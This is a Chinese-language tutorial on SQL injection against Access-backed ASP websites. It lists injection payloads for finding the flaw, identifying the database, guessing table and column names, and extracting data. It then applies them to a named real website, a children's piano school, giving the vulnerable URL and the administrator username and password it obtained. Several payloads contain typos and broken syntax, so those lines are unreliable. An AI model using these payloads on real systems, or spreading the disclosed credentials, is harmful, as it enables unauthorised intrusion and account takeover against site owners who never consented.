web 安全-理论+实战Access注入漏洞
1.Access数据库的介绍
2.Access数据库调用分析
3.Access注入原理
4.Access注入工具
=================================
Access数据库介绍
- 数据库后缀名:*.mdb
ASP中连接字符串应用
“. Driver= (microsoft access //定义使用的数据库是microsoft access数据库
driver(*.mdb);dbq= *.mdb;uid = admin;pwd= pass;”
- dim conn
- set conn = server.createobject adodb.connection”)
- conn.open ” provider= Microsoft.ACE.OLEDB.12.0; ” & “datasource = ” & - - - server.mappath(” bbs.mdb”)
连接分析
?id=30有传输值有可能是数字也有可能是字符
Access注入
判断注入点
-
‘ (报错)
-
and 1=1 (and前有空格,带入查询,如果返回正常则有漏洞)
-
and 1=2 (返回错误)
-
or 1=1 或在id后加-号等等,报错则有漏洞
判断数据库类型 -
and exsits (select * from msysobjects)>0 (如果存在则是Access数据库)
-
and exsits (select * from sysobjects)>0
判断数据库是否有admin表 -
and exists (select*from admin)
-
如果没有试着尝试 users username password
判断字段名 -
and exists (select*admin from admin) (如果成功说明在admin表里有admin的列名)
-
and exists (select*password from admin)(如果成功说明在admin表里有password的列名)
判断字段长度 -
order by 10(判断字段长度)
-
and 1=2 union select 1,2,3,4,5,6,7,8,9 from admin
爆出字段后,在相应字段改写成 admin 和password
番外篇
判断账号密码的长度
- and (select len(admin))from admin)=5 如果返回正常说明管理员账户的长度为5
- and (select len(admin))from admin)>5如果大于5为假,大4为真,则管理员账户的长度为5
实战网址
www.jnqtly.cn 济南琴童乐园
1.先判断是否有Access注入漏洞
说明有注入漏洞
2.确认是Access数据库
3.判断数据库是否有admin列表
4.判断字段名
and exists (selectadmin from admin),and exists (selectpassword from admin) ,and exists (selectusername from admin) 等等都无法显示正常,所以我打算使用软件辅助渗透*
获得两个注入点我们先尝试一下第一个注入点:http://www.jnqtly.cn/onews1.asp?id=176
检测表段→检测字段→检测内容
获得了后台的账号haoqiludadigood2008以及密码adminjnqtly